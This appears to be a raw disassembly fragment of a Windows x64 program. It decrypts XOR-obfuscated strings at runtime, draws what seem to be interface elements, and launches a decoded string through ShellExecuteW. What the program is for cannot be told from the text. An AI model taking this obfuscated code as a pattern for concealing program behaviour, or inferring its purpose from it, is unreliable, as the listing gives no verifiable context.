lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400f6060
cmp r8d, 0x15
jge 0x1400f61b0
movsxd rax, r8d
lea r9, [rbp + 0xd01]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400f6180
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xd01]
lea rcx, [rbp + 0x3a8]
call fcn.140033380
movaps xmm1, xmm8
subss xmm1, dword [rax + 4]
mulss xmm1, xmm13
movaps xmm0, xmm12
subss xmm0, dword [rax]
mulss xmm0, xmm13
movss dword [rbp + 0x3b0], xmm0
movss dword [rbp + 0x3b4], xmm1
lea rcx, [rbp + 0x3b0]
call fcn.140044e30
movups xmm0, xmmword [0x1403249d0]
movups xmmword [rbp + 0xd16], xmm0
mov eax, dword [0x1403249e0]
mov dword [rbp + 0xd26], eax
movzx eax, byte [0x1403249e4]
mov byte [rbp + 0xd2a], al
xor r8d, r8d
cmp r15d, 2
jl 0x1400f6375
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xd1a]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400f6270
cmp r8d, 0x15
jge 0x1400f63c0
movsxd rax, r8d
lea r9, [rbp + 0xd16]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400f6390
lea rcx, [rbp + 0xd16]
call fcn.14006cdd0
mov ecx, esi
call fcn.140040920
call fcn.140035d40
mov dword [rbp + 0x3b8], 0x41a00000
mov dword [rbp + 0x3bc], 0x42f00000
lea rcx, [rbp + 0x3b8]
call fcn.140044e30
movss xmm6, dword [rdi + 0xf8]
movss xmm7, dword [rdi + 0xfc]
movss xmm1, dword [0x140327c70]
movaps xmm3, xmm1
movaps xmm2, xmm12
movaps xmm0, xmm12
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp + 0x3c0]
call fcn.140032bd0
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x3c4]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x3c0]
movss dword [rbp + 0xad0], xmm6
movss dword [rbp + 0xad4], xmm7
movss dword [rbp + 0xad8], xmm0
movss dword [rbp + 0xadc], xmm1
mov rbx, qword [rdi + 0x290]
mov qword [rbp + 0x3c8], 0
movaps xmm0, xmmword [0x1402dae40]
movups xmmword [rbp + 0xae0], xmm0
lea rcx, [rbp + 0xae0]
call fcn.140034770
movss dword [rsp + 0x38], xmm11
mov dword [rsp + 0x30], 0x200
lea rcx, [rbp + 0x3c8]
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm14
mov r9d, eax
lea r8, [rbp + 0xad8]
lea rdx, [rbp + 0xad0]
mov rcx, rbx
call fcn.14004f2d0
mov dword [rbp + 0x3d0], 0x438e8000
mov dword [rbp + 0x3d4], 0x43870000
mov eax, dword [0x1403249e8]
mov dword [rbp + 0x8f], eax
movzx ecx, word [0x1403249ec]
mov word [rbp + 0x93], cx
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x8f], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x90], 0x34
xor byte [rbp + 0x91], 0x35
xor byte [rbp + 0x92], 0x36
xor cl, 0x37
mov byte [rbp + 0x93], cl
xor byte [rbp + 0x94], 0x38
xor al, 0x39
mov byte [rbp + 0x95], al
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x8f]
call fcn.140032110
mov rcx, r13
call fcn.140044c30
movups xmm0, xmmword [0x1403249f0]
movups xmmword [rbp + 0xdb0], xmm0
movsd xmm0, qword [0x140324a00]
movsd qword [rbp + 0xdc0], xmm0
cmp byte [0x140324a07], 0
je 0x1400f6700
cmp r15d, 2
jl 0x1400f66bf
movdqa xmm5, xmmword [0x1402d9220]
xor edx, edx
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xdb4]
mov r8d, dword [rsp + 0x70]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400f65c0
jmp 0x1400f6700
lea r9, [rbp + 0xdb0]
xor r8d, r8d
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400f66d0
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xdb0]
lea rcx, [rbp + 0x3d8]
call fcn.140033380
movaps xmm1, xmm14
subss xmm1, dword [rax + 4]
mulss xmm1, xmm13
movaps xmm0, xmm12
subss xmm0, dword [rax]
mulss xmm0, xmm13
movss dword [rbp + 0x3e0], xmm0
movss dword [rbp + 0x3e4], xmm1
lea rcx, [rbp + 0x3e0]
call fcn.140044e30
movsd xmm0, qword [0x140324a08]
movsd qword [rbp + 0x85f], xmm0
mov eax, dword [0x140324a10]
mov dword [rbp + 0x867], eax
movzx eax, word [0x140324a14]
mov word [rbp + 0x86b], ax
movzx eax, byte [0x140324a16]
mov byte [rbp + 0x86d], al
xor r8d, r8d
cmp r15d, 2
jl 0x1400f68a3
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140324a08]
xorps xmm2, xmm0
movd dword [rbp + 0x85f], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x863]
xorps xmm2, xmm1
movd dword [rbp + 0x863], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x85f]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400f68b0
lea rcx, [rbp + 0x85f]
call fcn.14006cdd0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
movsd xmm0, qword [0x140324a18]
movsd qword [rbp + 0x6a0], xmm0
movzx eax, byte [0x140324a20]
mov byte [rbp + 0x6a0], 0x41
xor byte [rbp + 0x6a1], 0x34
xor byte [rbp + 0x6a2], 0x35
xor byte [rbp + 0x6a3], 0x36
xor byte [rbp + 0x6a4], 0x37
xor byte [rbp + 0x6a5], 0x38
xor byte [rbp + 0x6a6], 0x39
xor byte [rbp + 0x6a7], 0x3a
xor al, 0x3b
mov byte [rbp + 0x6a8], al
lea rcx, [rbp + 0x6a0]
call fcn.14006cdd0
mov rcx, r13
call fcn.140044c30
movups xmm0, xmmword [0x140324a28]
movups xmmword [rbp + 0xaf0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400f6b00
cmp r15d, 2
jl 0x1400f6ac0
movdqa xmm5, xmmword [0x1402d9220]
xor edx, edx
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xaf4]
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400f69c1
jmp 0x1400f6b00
lea r9, [rbp + 0xaf0]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400f6ad0
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xaf0]
lea rcx, [rbp + 0x3e8]
call fcn.140033380
movss xmm1, dword [0x1402d3d90]
subss xmm1, dword [rax + 4]
mulss xmm1, xmm13
movaps xmm0, xmm12
subss xmm0, dword [rax]
mulss xmm0, xmm13
movss dword [rbp + 0x3f0], xmm0
movss dword [rbp + 0x3f4], xmm1
lea rcx, [rbp + 0x3f0]
call fcn.140044e30
mov eax, dword [0x140324a38]
mov dword [rbp + 0x6e], eax
movzx eax, word [0x140324a3c]
mov word [rbp + 0x72], ax
mov byte [rbp + 0x6e], 0x54
xor byte [rbp + 0x6f], 0x34
xor byte [rbp + 0x70], 0x35
xor byte [rbp + 0x71], 0x36
xor al, 0x37
mov byte [rbp + 0x72], al
xor byte [rbp + 0x73], 0x38
lea rcx, [rbp + 0x6e]
call fcn.14006cdd0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
movsd xmm0, qword [0x140324a40]
movsd qword [rbp + 0x6d8], xmm0
movzx eax, word [0x140324a48]
mov word [rbp + 0x6e0], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400f6c0b
mov byte [rbp + 0x6d8], 0x50
xor byte [rbp + 0x6d9], 0x34
xor byte [rbp + 0x6da], 0x35
xor byte [rbp + 0x6db], 0x36
xor byte [rbp + 0x6dc], 0x37
xor byte [rbp + 0x6dd], 0x38
xor byte [rbp + 0x6de], 0x39
xor byte [rbp + 0x6df], 0x3a
xor byte [rbp + 0x6e0], 0x3b
xor byte [rbp + 0x6e1], 0x3c
lea rcx, [rbp + 0x6d8]
call fcn.14006cdd0
mov dword [rbp + 0x3f8], 0x418c0000
mov dword [rbp + 0x3fc], 0x432a0000
lea rcx, [rbp + 0x3f8]
call fcn.140044e30
movaps xmm7, xmmword [0x140327ea0]
movaps xmm8, xmmword [0x140327ec0]
movaps xmm9, xmm7
mov dword [rbp + 0x400], 0x437a0000
mov dword [rbp + 0x404], 0x42200000
movups xmm0, xmmword [0x140324a50]
movups xmmword [rbp + 0xced], xmm0
mov eax, dword [0x140324a60]
mov dword [rbp + 0xcfd], eax
cmp byte [0x140324a63], 0
je 0x1400f6e20
xor r8d, r8d
cmp r15d, 2
jl 0x1400f6dd5
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xcf1]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400f6cd0
cmp r8d, 0x14
jge 0x1400f6e20
movsxd rax, r8d
lea r9, [rbp + 0xced]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400f6df0
movdqa xmmword [rsp + 0x60], xmm7
movdqa xmmword [rsp + 0x70], xmm8
movdqa xmmword [rbp - 0x70], xmm9
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f158]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f150]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f148]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f140]
xor r8d, r8d
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0xced]
call fcn.140070150
test al, al
je 0x1400f7099
lea rcx, [rbp + 0x1fbe]
lea rax, [0x140324a70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp r15d, 2
jl 0x1400f7027
movdqa xmm5, xmmword [0x1402d9220]
xor edx, edx
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x1fbe]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x50
jl 0x1400f6f40
jmp 0x1400f7074
lea r9, [rbp + 0x1fbe]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x50
jl 0x1400f7040
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x1fbe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rbp + 0x408], 0x41480000
mov dword [rbp + 0x40c], 0x435c0000
lea rcx, [rbp + 0x408]
call fcn.140044e30
mov rsi, qword [rbp + 0xd8]
mov rcx, rsi
call fcn.140044c30
movaps xmm2, xmmword [0x1402dae40]
movaps xmm1, xmmword [0x1402dad60]
movaps xmm0, xmmword [0x140327e80]
mov dword [rbp + 0x410], 0x43820000
mov dword [rbp + 0x414], 0x42200000
mov eax, dword [0x140324b10]
mov dword [rbp + 0x74], eax
movzx eax, word [0x140324b14]
mov word [rbp + 0x78], ax
mov byte [rbp + 0x74], 0x53
xor byte [rbp + 0x75], 0x34
xor byte [rbp + 0x76], 0x35
xor byte [rbp + 0x77], 0x36
xor al, 0x37
mov byte [rbp + 0x78], al
xor byte [rbp + 0x79], 0x38
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmmword [rbp - 0x70], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f178]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f170]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f168]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f160]
xor r8d, r8d
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x74]
call fcn.140070150
test al, al
je 0x1400f71f5
mov dword [0x14049f064], 3
mov dword [0x14049f070], 0
lea rdx, [0x1400a6750]
lea rcx, [rbp + 0xb00]
call fcn.140071f30
nop
cmp dword [rbp + 0xb08], 0
je 0x1400fe728
movaps xmm0, xmmword [rbp + 0xb00]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x1400fe728
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb00], xmm0
call fcn.140035d40
mov dword [rbp + 0x418], 0x41a00000
mov dword [rbp + 0x41c], 0x43ca8000
lea rcx, [rbp + 0x418]
call fcn.140044e30
mov rcx, rsi
call fcn.140044c30
movaps xmm6, xmmword [0x1402dae40]
movaps xmm7, xmmword [0x1402dad60]
movaps xmm8, xmmword [0x140327e80]
mov dword [rbp + 0x420], 0x438e8000
mov dword [rbp + 0x424], 0x42200000
movsd xmm0, qword [str.bAU_]
movsd qword [rbp + 0x7b1], xmm0
mov eax, dword [0x140324b20]
mov dword [rbp + 0x7b9], eax
cmp byte [0x140324b23], 0
je 0x1400f73d0
xor r8d, r8d
cmp r15d, 2
jl 0x1400f738a
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.bAU_]
xorps xmm2, xmm0
movd dword [rbp + 0x7b1], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7b5]
xorps xmm2, xmm1
movd dword [rbp + 0x7b5], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7b1]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400f73a0
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x70], xmm7
movdqa xmmword [rbp - 0x70], xmm8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f198]
mov qword [rsp + 0x30], rax
